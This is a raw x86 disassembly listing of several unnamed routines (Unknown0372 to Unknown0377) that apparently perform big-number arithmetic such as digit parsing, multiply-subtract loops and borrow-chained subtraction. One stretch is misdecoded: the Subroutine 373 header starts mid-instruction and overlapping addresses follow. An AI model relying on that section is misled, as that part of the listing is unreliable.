08064d65   83 7d 14 0a       cmpl    $0xa,0x14(%ebp)
08064d69   89 4d e4          mov     %ecx,0xffffffe4(%ebp)
08064d6c   75 2a             jne     08064d98 <Unknown0372+0xf8>
08064d6e   b9 01 00 00 00    mov     $0x1,%ecx   ;1 'x1 x0 x0 x0' ""
08064d73   3b 4d e8          cmp     0xffffffe8(%ebp),%ecx
08064d76   7d 45             jge     08064dbd <Unknown0372+0x11d>
08064d78   8b 75 0c          mov     0xc(%ebp),%esi
08064d7b   8b 5d e4          mov     0xffffffe4(%ebp),%ebx
08064d7e   0f b6 06          movzbl  (%esi),%eax
08064d81   8d 14 9b          lea     (%ebx,%ebx,4),%edx
08064d84   41                inc     %ecx
08064d85   46                inc     %esi
08064d86   8d 14 50          lea     (%eax,%edx,2),%edx
08064d89   3b 4d e8          cmp     0xffffffe8(%ebp),%ecx
08064d8c   89 55 e4          mov     %edx,0xffffffe4(%ebp)
08064d8f   89 75 0c          mov     %esi,0xc(%ebp)
08064d92   7c e4             jl      08064d78 <Unknown0372+0xd8>
08064d94   eb 27             jmp     08064dbd <Unknown0372+0x11d>
08064d96   89 f6             mov     %esi,%esi
08064d98   83 7d e8 01       cmpl    $0x1,0xffffffe8(%ebp)
08064d9c   7e 1f             jle     08064dbd <Unknown0372+0x11d>
08064d9e   8b 4d e8          mov     0xffffffe8(%ebp),%ecx
08064da1   49                dec     %ecx
08064da2   89 f6             mov     %esi,%esi
08064da4   8b 7d 0c          mov     0xc(%ebp),%edi
08064da7   8b 55 e4          mov     0xffffffe4(%ebp),%edx
```

```
08064daa  0f b6 07           movzbl (%edi),%eax
08064dad  0f af 55 14        imul   0x14(%ebp),%edx
08064db1  01 c2              add    %eax,%edx
08064db3  47                 inc    %edi
08064db4  49                 dec    %ecx
08064db5  89 55 e4           mov    %edx,0xffffffe4(%ebp)
08064db8  89 7d 0c           mov    %edi,0xc(%ebp)
08064dbb  75 e7              jne    08064da4 <Unknown0372+0x104>
08064dbd  8b 5d f0           mov    0xfffffff0(%ebp),%ebx
08064dc0  85 db              test   %ebx,%ebx
08064dc2  75 20              jne    08064de4 <Unknown0372+0x144>
08064dc4  8b 4d e4           mov    0xffffffe4(%ebp),%ecx
08064dc7  85 c9              test   %ecx,%ecx
08064dc9  0f 84 9b 00 00 00  je     08064e6a <Unknown0372+0x1ca>  ;155 'x9b x0 x0 x0' ""
08064dcf  8b 45 e4           mov    0xffffffe4(%ebp),%eax
08064dd2  8b 55 08           mov    0x8(%ebp),%edx
08064dd5  89 02              mov    %eax,(%edx)
08064dd7  c7 45 f0 01 00 00 00  movl $0x1,0xfffffff0(%ebp)  ;1 'x1 x0 x0 x0' ""
08064dde  e9 87 00 00 00     jmp    08064e6a <Unknown0372+0x1ca>  ;135 'x87 x0 x0 x0' ""
08064de3  90                 nop
08064de4  ff 75 ec           pushl  0xffffffec(%ebp)
08064de7  ff 75 f0           pushl  0xfffffff0(%ebp)
08064dea  ff 75 08           pushl  0x8(%ebp)
08064ded  ff 75 08           pushl  0x8(%ebp)
08064df0  e8 63 f2 ff ff     call   08064058 <Unknown0362>
08064df5  89 45 dc           mov    %eax,0xffffffdc(%ebp)
08064df8  8b 5d 08           mov    0x8(%ebp),%ebx
08064dfb  8b 0b              mov    (%ebx),%ecx
08064dfd  8b 45 e4           mov    0xffffffe4(%ebp),%eax
08064e00  01 c8              add    %ecx,%eax
08064e02  83 c3 04           add    $0x4,%ebx
08064e05  8b 75 08           mov    0x8(%ebp),%esi
08064e08  83 c4 10           add    $0x10,%esp
08064e0b  39 c8              cmp    %ecx,%eax
08064e0d  8b 7d f0           mov    0xfffffff0(%ebp),%edi
08064e10  89 06              mov    %eax,(%esi)
08064e12  89 de              mov    %ebx,%esi
08064e14  73 22              jae    08064e38 <Unknown0372+0x198>
08064e16  8b 7d f0           mov    0xfffffff0(%ebp),%edi
08064e19  4f                 dec    %edi
08064e1a  74 12              je     08064e2e <Unknown0372+0x18e>
08064e1c  8b 0b              mov    (%ebx),%ecx
08064e1e  41                 inc    %ecx
08064e1f  83 c3 04           add    $0x4,%ebx
08064e22  89 0e              mov    %ecx,(%esi)
08064e24  83 c6 04           add    $0x4,%esi
08064e27  85 c9              test   %ecx,%ecx
08064e29  75 0d              jne    08064e38 <Unknown0372+0x198>
08064e2b  4f                 dec    %edi
08064e2c  75 ee              jne    08064e1c <Unknown0372+0x17c>
08064e2e  b8 01 00 00 00     mov    $0x1,%eax  ;1 'x1 x0 x0 x0' ""
08064e33  eb 20              jmp    08064e55 <Unknown0372+0x1b5>
08064e35  8d 76 00           lea    0x0(%esi),%esi
08064e38  39 de              cmp    %ebx,%esi
08064e3a  74 17              je     08064e53 <Unknown0372+0x1b3>
08064e3c  31 d2              xor    %edx,%edx
08064e3e  8d 4f ff           lea    0xffffffff(%edi),%ecx
08064e41  39 ca              cmp    %ecx,%edx
08064e43  7d 0e              jge    08064e53 <Unknown0372+0x1b3>
08064e45  8d 76 00           lea    0x0(%esi),%esi
08064e48  8b 04 93           mov    (%ebx,%edx,4),%eax
08064e4b  89 04 96           mov    %eax,(%esi,%edx,4)
08064e4e  42                 inc    %edx
08064e4f  39 ca              cmp    %ecx,%edx
08064e51  7c f5              jl     08064e48 <Unknown0372+0x1a8>
08064e53  31 c0              xor    %eax,%eax
08064e55  01 45 dc           add    %eax,0xffffffdc(%ebp)
08064e58  74 10              je     08064e6a <Unknown0372+0x1ca>
08064e5a  8b 7d f0           mov    0xfffffff0(%ebp),%edi
08064e5d  8b 55 dc           mov    0xffffffdc(%ebp),%edx
08064e60  8b 45 08           mov    0x8(%ebp),%eax
08064e63  89 14 b8           mov    %edx,(%eax,%edi,4)
08064e66  47                 inc    %edi
08064e67  89 7d f0           mov    %edi,0xfffffff0(%ebp)
08064e6a  8b 4d e8           mov    0xffffffe8(%ebp),%ecx
08064e6d  01 4d e0           add    %ecx,0xffffffe0(%ebp)
08064e70  8b 5d 10           mov    0x10(%ebp),%ebx
08064e73  39 5d e0           cmp    %ebx,0xffffffe0(%ebp)
08064e76  0f 82 e0 fe ff ff  jb     08064d5c <Unknown0372+0xbc>  ;-288 'xe0 xfe xff xff' ""
08064e7c  8b 75 14           mov    0x14(%ebp),%esi
08064e7f  8b 7d 0c           mov    0xc(%ebp),%edi
08064e82  89 75 ec           mov    %esi,0xffffffec(%ebp)
08064e85  0f b6 3f           movzbl (%edi),%edi
08064e88  ff 45 0c           incl   0xc(%ebp)
```

```
08064e8b   83 fe 0a              cmp      $0xa,%esi
08064e8e   89 7d e4              mov      %edi,0xffffffe4(%ebp)
08064e91   75 41                 jne      08064ed4 <Unknown0373+0x27>
08064e93   8b 45 e8              mov      0xffffffe8(%ebp),%eax
08064e96   29 45 e0              sub      %eax,0xffffffe0(%ebp)
08064e99   8b 45 10              mov      0x10(%ebp),%eax
08064e9c   b9 01 00 00 00        mov      $0x1,%ecx   ;1 'x1 x0 x0 x0' ""
08064ea1   2b 45 e0              sub      0xffffffe0(%ebp),%eax
08064ea4   39 c1                 cmp      %eax,%ecx
08064ea6   73 69                 jae      08064f11 <Unknown0373+0x64>
08064ea8   89 c3                 mov      %eax,%ebx
08064eaa   89 f6                 mov      %esi,%esi
08064eac   8b 55 e4              mov      0xffffffe4(%ebp),%edx


   ;
   ; >---------------------<  Subroutine # 373 >---------------------<
   ;
08064ead <Unknown0373>:
08064ead   55                    push     %ebp
08064eae   e4 8b                 in       $0x8b,%al
08064eb0   75 0c                 jne      08064ebe <Unknown0373+0x11>
08064eb2   8d 04 92              lea      (%edx,%edx,4),%eax
08064eb5   0f b6 16              movzbl   (%esi),%edx
08064eb8   8d 04 42              lea      (%edx,%eax,2),%eax
08064ebb   8b 7d ec              mov      0xffffffec(%ebp),%edi
08064ebe   89 45 e4              mov      %eax,0xffffffe4(%ebp)
08064ec1   41                    inc      %ecx
08064ec2   8d 04 bf              lea      (%edi,%edi,4),%eax
08064ec5   46                    inc      %esi
08064ec6   d1 e0                 shl      %eax
08064ec8   39 d9                 cmp      %ebx,%ecx
08064eca   89 75 0c              mov      %esi,0xc(%ebp)
08064ecd   89 45 ec              mov      %eax,0xffffffec(%ebp)
08064ed0   72 da                 jb       08064eac <Unknown0372+0x20c>
08064ed2   eb 3d                 jmp      08064f11 <Unknown0373+0x64>
08064ed4   8b 45 e8              mov      0xffffffe8(%ebp),%eax
08064ed7   29 45 e0              sub      %eax,0xffffffe0(%ebp)
08064eda   8b 45 10              mov      0x10(%ebp),%eax
08064edd   b9 01 00 00 00        mov      $0x1,%ecx   ;1 'x1 x0 x0 x0' ""
08064ee2   2b 45 e0              sub      0xffffffe0(%ebp),%eax
08064ee5   39 c1                 cmp      %eax,%ecx
08064ee7   73 28                 jae      08064f11 <Unknown0373+0x64>
08064ee9   89 c3                 mov      %eax,%ebx
08064eeb   90                    nop
08064eec   8b 75 0c              mov      0xc(%ebp),%esi
08064eef   8b 55 e4              mov      0xffffffe4(%ebp),%edx
08064ef2   0f b6 06              movzbl   (%esi),%eax
08064ef5   0f af 55 14           imul     0x14(%ebp),%edx
08064ef9   8b 7d ec              mov      0xffffffec(%ebp),%edi
08064efc   41                    inc      %ecx
08064efd   01 c2                 add      %eax,%edx
08064eff   46                    inc      %esi
08064f00   0f af 7d 14           imul     0x14(%ebp),%edi
08064f04   39 d9                 cmp      %ebx,%ecx
08064f06   89 55 e4              mov      %edx,0xffffffe4(%ebp)
08064f09   89 75 0c              mov      %esi,0xc(%ebp)
08064f0c   89 7d ec              mov      %edi,0xffffffec(%ebp)
08064f0f   72 db                 jb       08064eec <Unknown0373+0x3f>
08064f11   8b 55 f0              mov      0xfffffff0(%ebp),%edx
08064f14   85 d2                 test     %edx,%edx
08064f16   75 20                 jne      08064f38 <Unknown0373+0x8b>
08064f18   8b 45 e4              mov      0xffffffe4(%ebp),%eax
08064f1b   85 c0                 test     %eax,%eax
08064f1d   0f 84 9b 00 00 00     je       08064fbe <Unknown0373+0x111>   ;155 'x9b x0 x0 x0' ""
08064f23   8b 45 e4              mov      0xffffffe4(%ebp),%eax
08064f26   8b 55 08              mov      0x8(%ebp),%edx
08064f29   89 02                 mov      %eax,(%edx)
08064f2b   c7 45 f0 01 00 00 00  movl     $0x1,0xfffffff0(%ebp)   ;1 'x1 x0 x0 x0' ""
08064f32   e9 87 00 00 00        jmp      08064fbe <Unknown0373+0x111>   ;135 'x87 x0 x0 x0' ""
08064f37   90                    nop
08064f38   ff 75 ec              pushl    0xffffffec(%ebp)
08064f3b   ff 75 f0              pushl    0xfffffff0(%ebp)
08064f3e   ff 75 08              pushl    0x8(%ebp)
08064f41   ff 75 08              pushl    0x8(%ebp)
08064f44   e8 0f f1 ff ff        call     08064058 <Unknown0362>
08064f49   89 45 dc              mov      %eax,0xffffffdc(%ebp)
08064f4c   8b 5d 08              mov      0x8(%ebp),%ebx
08064f4f   8b 0b                 mov      (%ebx),%ecx
08064f51   8b 45 e4              mov      0xffffffe4(%ebp),%eax
08064f54   89 de                 mov      %ebx,%esi
08064f56   01 c8                 add      %ecx,%eax
08064f58   83 c6 04              add      $0x4,%esi
08064f5b   83 c4 10              add      $0x10,%esp
```

```
08064f5e   39 c8               cmp       %ecx,%eax
08064f60   8b 7d f0            mov       0xfffffff0(%ebp),%edi
08064f63   89 03               mov       %eax,(%ebx)
08064f65   89 f3               mov       %esi,%ebx
08064f67   73 23               jae       08064f8c <Unknown0373+0xdf>
08064f69   8b 7d f0            mov       0xfffffff0(%ebp),%edi
08064f6c   4f                  dec       %edi
08064f6d   74 13               je        08064f82 <Unknown0373+0xd5>
08064f6f   90                  nop
08064f70   8b 0e               mov       (%esi),%ecx
08064f72   41                  inc       %ecx
08064f73   83 c6 04            add       $0x4,%esi
08064f76   89 0b               mov       %ecx,(%ebx)
08064f78   83 c3 04            add       $0x4,%ebx
08064f7b   85 c9               test      %ecx,%ecx
08064f7d   75 0d               jne       08064f8c <Unknown0373+0xdf>
08064f7f   4f                  dec       %edi
08064f80   75 ee               jne       08064f70 <Unknown0373+0xc3>
08064f82   b8 01 00 00 00      mov       $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08064f87   eb 20               jmp       08064fa9 <Unknown0373+0xfc>
08064f89   8d 76 00            lea       0x0(%esi),%esi
08064f8c   39 f3               cmp       %esi,%ebx
08064f8e   74 17               je        08064fa7 <Unknown0373+0xfa>
08064f90   31 d2               xor       %edx,%edx
08064f92   8d 4f ff            lea       0xffffffff(%edi),%ecx
08064f95   39 ca               cmp       %ecx,%edx
08064f97   7d 0e               jge       08064fa7 <Unknown0373+0xfa>
08064f99   8d 76 00            lea       0x0(%esi),%esi
08064f9c   8b 04 96            mov       (%esi,%edx,4),%eax
08064f9f   89 04 93            mov       %eax,(%ebx,%edx,4)
08064fa2   42                  inc       %edx
08064fa3   39 ca               cmp       %ecx,%edx
08064fa5   7c f5               jl        08064f9c <Unknown0373+0xef>
08064fa7   31 c0               xor       %eax,%eax
08064fa9   01 45 dc            add       %eax,0xffffffdc(%ebp)
08064fac   74 10               je        08064fbe <Unknown0373+0x111>
08064fae   8b 75 f0            mov       0xfffffff0(%ebp),%esi
08064fb1   8b 45 dc            mov       0xffffffdc(%ebp),%eax
08064fb4   8b 7d 08            mov       0x8(%ebp),%edi
08064fb7   89 04 b7            mov       %eax,(%edi,%esi,4)
08064fba   46                  inc       %esi
08064fbb   89 75 f0            mov       %esi,0xfffffff0(%ebp)
08064fbe   8b 45 f0            mov       0xfffffff0(%ebp),%eax
08064fc1   8d 65 f4            lea       0xfffffff4(%ebp),%esp
08064fc4   5b                  pop       %ebx
08064fc5   5e                  pop       %esi
08064fc6   5f                  pop       %edi
08064fc7   5d                  pop       %ebp
08064fc8   c3                  ret
08064fc9   8d 76 00            lea       0x0(%esi),%esi
08064fcc   90                  nop
08064fcd   90                  nop
08064fce   90                  nop
08064fcf   90                  nop


   ;
   ; >--------------------<  Subroutine # 374 >--------------------<
   ;
08064fd0 <Unknown0374>:
08064fd0   57                  push      %edi
08064fd1   56                  push      %esi
08064fd2   53                  push      %ebx
08064fd3   55                  push      %ebp
08064fd4   8b 7c 24 14         mov       0x14(%esp,1),%edi
08064fd8   8b 74 24 18         mov       0x18(%esp,1),%esi
08064fdc   8b 4c 24 1c         mov       0x1c(%esp,1),%ecx
08064fe0   8b 6c 24 20         mov       0x20(%esp,1),%ebp
08064fe4   8d 3c 8f            lea       (%edi,%ecx,4),%edi
08064fe7   8d 34 8e            lea       (%esi,%ecx,4),%esi
08064fea   f7 d9               neg       %ecx
08064fec   31 db               xor       %ebx,%ebx
08064fee   89 f6               mov       %esi,%esi
08064ff0   83 d3 00            adc       $0x0,%ebx
08064ff3   8b 04 8e            mov       (%esi,%ecx,4),%eax
08064ff6   f7 e5               mul       %ebp
08064ff8   01 d8               add       %ebx,%eax
08064ffa   8b 1c 8f            mov       (%edi,%ecx,4),%ebx
08064ffd   83 d2 00            adc       $0x0,%edx
08065000   29 c3               sub       %eax,%ebx
08065002   89 1c 8f            mov       %ebx,(%edi,%ecx,4)
08065005   41                  inc       %ecx
08065006   89 d3               mov       %edx,%ebx
08065008   75 e6               jne       08064ff0 <Unknown0374+0x20>
```

```
0806500a  83 d3 00             adc      $0x0,%ebx
0806500d  89 d8                mov      %ebx,%eax
0806500f  5d                   pop      %ebp
08065010  5b                   pop      %ebx
08065011  5e                   pop      %esi
08065012  5f                   pop      %edi
08065013  c3                   ret
08065014  8d 74 26 00          lea      0x0(%esi,1),%esi


  ;
  ; >--------------------<  Subroutine # 375 >--------------------<
  ;
08065018 <Unknown0375>:
08065018  57                   push     %edi
08065019  56                   push     %esi
0806501a  53                   push     %ebx
0806501b  55                   push     %ebp
0806501c  8b 7c 24 14          mov      0x14(%esp,1),%edi
08065020  8b 74 24 18          mov      0x18(%esp,1),%esi
08065024  8b 6c 24 1c          mov      0x1c(%esp,1),%ebp
08065028  8b 4c 24 20          mov      0x20(%esp,1),%ecx
0806502c  8b 5d 00             mov      0x0(%ebp),%ebx
0806502f  49                   dec      %ecx
08065030  89 ca                mov      %ecx,%edx
08065032  c1 e9 03             shr      $0x3,%ecx
08065035  83 e2 07             and      $0x7,%edx
08065038  85 c9                test     %ecx,%ecx
0806503a  74 6b                je       080650a7 <Unknown0375+0x8f>
0806503c  52                   push     %edx
0806503d  8d 76 00             lea      0x0(%esi),%esi
08065040  8b 47 1c             mov      0x1c(%edi),%eax
08065043  8d 7f 20             lea      0x20(%edi),%edi
08065046  8b 06                mov      (%esi),%eax
08065048  8b 56 04             mov      0x4(%esi),%edx
0806504b  19 d8                sbb      %ebx,%eax
0806504d  8b 5d 04             mov      0x4(%ebp),%ebx
08065050  19 da                sbb      %ebx,%edx
08065052  8b 5d 08             mov      0x8(%ebp),%ebx
08065055  89 47 e0             mov      %eax,0xffffffe0(%edi)
08065058  89 57 e4             mov      %edx,0xffffffe4(%edi)
0806505b  8b 46 08             mov      0x8(%esi),%eax
0806505e  8b 56 0c             mov      0xc(%esi),%edx
08065061  19 d8                sbb      %ebx,%eax
08065063  8b 5d 0c             mov      0xc(%ebp),%ebx
08065066  19 da                sbb      %ebx,%edx
08065068  8b 5d 10             mov      0x10(%ebp),%ebx
0806506b  89 47 e8             mov      %eax,0xffffffe8(%edi)
0806506e  89 57 ec             mov      %edx,0xffffffec(%edi)
08065071  8b 46 10             mov      0x10(%esi),%eax
08065074  8b 56 14             mov      0x14(%esi),%edx
08065077  19 d8                sbb      %ebx,%eax
08065079  8b 5d 14             mov      0x14(%ebp),%ebx
0806507c  19 da                sbb      %ebx,%edx
0806507e  8b 5d 18             mov      0x18(%ebp),%ebx
08065081  89 47 f0             mov      %eax,0xfffffff0(%edi)
08065084  89 57 f4             mov      %edx,0xfffffff4(%edi)
08065087  8b 46 18             mov      0x18(%esi),%eax
0806508a  8b 56 1c             mov      0x1c(%esi),%edx
0806508d  19 d8                sbb      %ebx,%eax
0806508f  8b 5d 1c             mov      0x1c(%ebp),%ebx
08065092  19 da                sbb      %ebx,%edx
08065094  8b 5d 20             mov      0x20(%ebp),%ebx
08065097  89 47 f8             mov      %eax,0xfffffff8(%edi)
0806509a  89 57 fc             mov      %edx,0xfffffffc(%edi)
0806509d  8d 76 20             lea      0x20(%esi),%esi
080650a0  8d 6d 20             lea      0x20(%ebp),%ebp
080650a3  49                   dec      %ecx
080650a4  75 9a                jne      08065040 <Unknown0375+0x28>
080650a6  5a                   pop      %edx
080650a7  4a                   dec      %edx
080650a8  78 17                js       080650c1 <Unknown0375+0xa9>
080650aa  42                   inc      %edx
080650ab  8d 7f 04             lea      0x4(%edi),%edi
080650ae  8b 06                mov      (%esi),%eax
080650b0  19 d8                sbb      %ebx,%eax
080650b2  8b 5d 04             mov      0x4(%ebp),%ebx
080650b5  89 47 fc             mov      %eax,0xfffffffc(%edi)
080650b8  8d 76 04             lea      0x4(%esi),%esi
080650bb  8d 6d 04             lea      0x4(%ebp),%ebp
080650be  4a                   dec      %edx
080650bf  75 ea                jne      080650ab <Unknown0375+0x93>
080650c1  8b 06                mov      (%esi),%eax
080650c3  19 d8                sbb      %ebx,%eax
```

```
080650c5  89 07                       mov    %eax,(%edi)
080650c7  19 c0                       sbb    %eax,%eax
080650c9  f7 d8                       neg    %eax
080650cb  5d                          pop    %ebp
080650cc  5b                          pop    %ebx
080650cd  5e                          pop    %esi
080650ce  5f                          pop    %edi
080650cf  c3                          ret


  ;
  ; >--------------------<  Subroutine # 376 >--------------------<
  ;
080650d0 <Unknown0376>:
080650d0  55                          push   %ebp
080650d1  89 e5                       mov    %esp,%ebp
080650d3  57                          push   %edi
080650d4  56                          push   %esi
080650d5  53                          push   %ebx
080650d6  83 ec 0c                    sub    $0xc,%esp
080650d9  8b 7d 0c                    mov    0xc(%ebp),%edi
080650dc  8b 5f 04                    mov    0x4(%edi),%ebx
080650df  85 db                       test   %ebx,%ebx
080650e1  79 02                       jns    080650e5 <Unknown0376+0x15>
080650e3  f7 db                       neg    %ebx
080650e5  3b 7d 08                    cmp    0x8(%ebp),%edi
080650e8  74 31                       je     0806511b <Unknown0376+0x4b>
080650ea  8b 45 08                    mov    0x8(%ebp),%eax
080650ed  39 18                       cmp    %ebx,(%eax)
080650ef  7d 0d                       jge    080650fe <Unknown0376+0x2e>
080650f1  83 ec 08                    sub    $0x8,%esp
080650f4  53                          push   %ebx
080650f5  50                          push   %eax
080650f6  e8 55 d2 ff ff              call   08062350 <Unknown0331>
080650fb  83 c4 10                    add    $0x10,%esp
080650fe  8b 45 08                    mov    0x8(%ebp),%eax
08065101  8b 70 08                    mov    0x8(%eax),%esi
08065104  8b 4f 08                    mov    0x8(%edi),%ecx
08065107  31 d2                       xor    %edx,%edx
08065109  39 da                       cmp    %ebx,%edx
0806510b  7d 0e                       jge    0806511b <Unknown0376+0x4b>
0806510d  8d 76 00                    lea    0x0(%esi),%esi
08065110  8b 04 91                    mov    (%ecx,%edx,4),%eax
08065113  89 04 96                    mov    %eax,(%esi,%edx,4)
08065116  42                          inc    %edx
08065117  39 da                       cmp    %ebx,%edx
08065119  7c f5                       jl     08065110 <Unknown0376+0x40>
0806511b  8b 45 08                    mov    0x8(%ebp),%eax
0806511e  89 58 04                    mov    %ebx,0x4(%eax)
08065121  8d 65 f4                    lea    0xfffffff4(%ebp),%esp
08065124  5b                          pop    %ebx
08065125  5e                          pop    %esi
08065126  5f                          pop    %edi
08065127  5d                          pop    %ebp
08065128  c3                          ret
08065129  8d 76 00                    lea    0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 377 >--------------------<
  ;
0806512c <Unknown0377>:
0806512c  55                          push   %ebp
0806512d  89 e5                       mov    %esp,%ebp
0806512f  57                          push   %edi
08065130  56                          push   %esi
08065131  53                          push   %ebx
08065132  83 ec 3c                    sub    $0x3c,%esp
08065135  8b 5d 14                    mov    0x14(%ebp),%ebx
08065138  c7 45 d8 00 00 00 00        movl   $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
0806513f  8b 43 04                    mov    0x4(%ebx),%eax
08065142  85 c0                       test   %eax,%eax
08065144  89 45 e8                    mov    %eax,0xffffffe8(%ebp)
08065147  79 05                       jns    0806514e <Unknown0377+0x22>
08065149  f7 d8                       neg    %eax
0806514b  89 45 e8                    mov    %eax,0xffffffe8(%ebp)
0806514e  8b 75 e8                    mov    0xffffffe8(%ebp),%esi
08065151  8b 4d e8                    mov    0xffffffe8(%ebp),%ecx
08065154  d1 e6                       shl    %esi
08065156  8b 55 08                    mov    0x8(%ebp),%edx
08065159  85 c9                       test   %ecx,%ecx
0806515b  8b 7a 08                    mov    0x8(%edx),%edi
0806515e  75 0e                       jne    0806516e <Unknown0377+0x42>
08065160  ba 01 00 00 00              mov    $0x1,%edx   ;1 'x1 x0 x0 x0' ""
```

```
08065165   89 d0                     mov      %edx,%eax
08065167   99                        cltd
08065168   f7 7d d8                  idivl    0xffffffd8(%ebp)
0806516b   89 45 e8                  mov      %eax,0xffffffe8(%ebp)
0806516e   8b 55 10                  mov      0x10(%ebp),%edx
08065171   85 d2                     test     %edx,%edx
08065173   75 27                     jne      0806519c <Unknown0377+0x70>
08065175   c7 07 01 00 00 00         movl     $0x1,(%edi)   ;1 'x1 x0 x0 x0' ""
0806517b   31 d2                     xor      %edx,%edx
0806517d   83 7d e8 01               cmpl     $0x1,0xffffffe8(%ebp)
08065181   75 08                     jne      0806518b <Unknown0377+0x5f>
08065183   8b 43 08                  mov      0x8(%ebx),%eax
08065186   83 38 01                  cmpl     $0x1,(%eax)
08065189   74 05                     je       08065190 <Unknown0377+0x64>
0806518b   ba 01 00 00 00            mov      $0x1,%edx     ;1 'x1 x0 x0 x0' ""
08065190   8b 4d 08                  mov      0x8(%ebp),%ecx
08065193   89 51 04                  mov      %edx,0x4(%ecx)
08065196   e9 ad 03 00 00            jmp      08065548 <Unknown0377+0x41c>   ;941 'xad x3 x0 x0' ""
0806519b   90                        nop
0806519c   8b 45 e8                  mov      0xffffffe8(%ebp),%eax
0806519f   c1 e0 02                  shl      $0x2,%eax
080651a2   8d 50 0f                  lea      0xf(%eax),%edx
080651a5   83 e2 f0                  and      $0xfffffff0,%edx
080651a8   29 d4                     sub      %edx,%esp
080651aa   89 65 f0                  mov      %esp,0xfffffff0(%ebp)
080651ad   8b 4b 08                  mov      0x8(%ebx),%ecx
080651b0   0f bd 44 08 fc            bsr      0xfffffffc(%eax,%ecx,1),%eax
080651b5   83 f0 1f                  xor      $0x1f,%eax
080651b8   89 45 e0                  mov      %eax,0xffffffe0(%ebp)
080651bb   74 17                     je       080651d4 <Unknown0377+0xa8>
080651bd   50                        push     %eax
080651be   ff 75 e8                  pushl    0xffffffe8(%ebp)
080651c1   ff 73 08                  pushl    0x8(%ebx)
080651c4   ff 75 f0                  pushl    0xfffffff0(%ebp)
080651c7   e8 fc ec ff ff            call     08063ec8 <Unknown0360>
080651cc   83 c4 10                  add      $0x10,%esp
080651cf   eb 22                     jmp      080651f3 <Unknown0377+0xc7>
080651d1   8d 76 00                  lea      0x0(%esi),%esi
080651d4   8b 45 e8                  mov      0xffffffe8(%ebp),%eax
080651d7   31 d2                     xor      %edx,%edx
080651d9   39 45 d8                  cmp      %eax,0xffffffd8(%ebp)
080651dc   7d 15                     jge      080651f3 <Unknown0377+0xc7>
080651de   eb 04                     jmp      080651e4 <Unknown0377+0xb8>
080651e0   8b 4b 08                  mov      0x8(%ebx),%ecx
080651e3   90                        nop
080651e4   8b 04 91                  mov      (%ecx,%edx,4),%eax
080651e7   8b 4d f0                  mov      0xfffffff0(%ebp),%ecx
080651ea   89 04 91                  mov      %eax,(%ecx,%edx,4)
080651ed   42                        inc      %edx
080651ee   3b 55 e8                  cmp      0xffffffe8(%ebp),%edx
080651f1   7c ed                     jl       080651e0 <Unknown0377+0xb4>
080651f3   8b 45 0c                  mov      0xc(%ebp),%eax
080651f6   8b 40 04                  mov      0x4(%eax),%eax
080651f9   85 c0                     test     %eax,%eax
080651fb   89 45 e4                  mov      %eax,0xffffffe4(%ebp)
080651fe   79 05                     jns      08065205 <Unknown0377+0xd9>
08065200   f7 d8                     neg      %eax
08065202   89 45 e4                  mov      %eax,0xffffffe4(%ebp)
08065205   8b 55 e8                  mov      0xffffffe8(%ebp),%edx
08065208   39 55 e4                  cmp      %edx,0xffffffe4(%ebp)
0806520b   7e 7f                     jle      0806528c <Unknown0377+0x160>
0806520d   8b 4d e4                  mov      0xffffffe4(%ebp),%ecx
08065210   8d 04 8d 13 00 00 00      lea      0x13(,%ecx,4),%eax   ;19 'x13 x0 x0 x0' ""
08065217   83 e0 f0                  and      $0xfffffff0,%eax
0806521a   29 c4                     sub      %eax,%esp
0806521c   89 65 ec                  mov      %esp,0xffffffec(%ebp)
0806521f   31 d2                     xor      %edx,%edx
08065221   39 ca                     cmp      %ecx,%edx
08065223   7d 16                     jge      0806523b <Unknown0377+0x10f>
08065225   8b 5d 0c                  mov      0xc(%ebp),%ebx
08065228   8b 4b 08                  mov      0x8(%ebx),%ecx
0806522b   90                        nop
0806522c   8b 04 91                  mov      (%ecx,%edx,4),%eax
0806522f   8b 5d ec                  mov      0xffffffec(%ebp),%ebx
08065232   89 04 93                  mov      %eax,(%ebx,%edx,4)
08065235   42                        inc      %edx
08065236   3b 55 e4                  cmp      0xffffffe4(%ebp),%edx
08065239   7c f1                     jl       0806522c <Unknown0377+0x100>
0806523b   83 ec 08                  sub      $0x8,%esp
0806523e   ff 75 e8                  pushl    0xffffffe8(%ebp)
08065241   ff 75 f0                  pushl    0xfffffff0(%ebp)
08065244   ff 75 e4                  pushl    0xffffffe4(%ebp)
08065247   ff 75 ec                  pushl    0xffffffec(%ebp)
0806524a   8b 45 e8                  mov      0xffffffe8(%ebp),%eax
```

```
0806524d  8b 55 ec               mov    0xffffffec(%ebp),%edx
08065250  6a 00                  push   $0x0
08065252  8d 1c 82               lea    (%edx,%eax,4),%ebx
08065255  53                     push   %ebx
08065256  e8 cd de ff ff         call   08063128 <Unknown0353>
0806525b  8b 4d e8               mov    0xffffffe8(%ebp),%ecx
0806525e  83 c4 20               add    $0x20,%esp
08065261  85 c9                  test   %ecx,%ecx
08065263  89 4d e4               mov    %ecx,0xffffffe4(%ebp)
08065266  7e 2d                  jle    08065295 <Unknown0377+0x169>
08065268  8b 43 fc               mov    0xfffffffc(%ebx),%eax
0806526b  85 c0                  test   %eax,%eax
0806526d  75 26                  jne    08065295 <Unknown0377+0x169>
0806526f  8d 43 fc               lea    0xfffffffc(%ebx),%eax
08065272  89 f6                  mov    %esi,%esi
08065274  ff 4d e4               decl   0xffffffe4(%ebp)
08065277  8b 4d e4               mov    0xffffffe4(%ebp),%ecx
0806527a  83 e8 04               sub    $0x4,%eax
0806527d  85 c9                  test   %ecx,%ecx
0806527f  7e 14                  jle    08065295 <Unknown0377+0x169>
08065281  8b 10                  mov    (%eax),%edx
08065283  85 d2                  test   %edx,%edx
08065285  74 ed                  je     08065274 <Unknown0377+0x148>
08065287  eb 0c                  jmp    08065295 <Unknown0377+0x169>
08065289  8d 76 00               lea    0x0(%esi),%esi
0806528c  8b 45 0c               mov    0xc(%ebp),%eax
0806528f  8b 40 08               mov    0x8(%eax),%eax
08065292  89 45 ec               mov    %eax,0xffffffec(%ebp)
08065295  8b 45 e4               mov    0xffffffe4(%ebp),%eax
08065298  85 c0                  test   %eax,%eax
0806529a  75 10                  jne    080652ac <Unknown0377+0x180>
0806529c  8b 55 08               mov    0x8(%ebp),%edx
0806529f  c7 42 04 00 00 00 00   movl   $0x0,0x4(%edx)   ;0 'x0 x0 x0 x0' ""
080652a6  e9 9d 02 00 00         jmp    08065548 <Unknown0377+0x41c>   ;669 'x9d x2 x0 x0' ""
080652ab  90                     nop
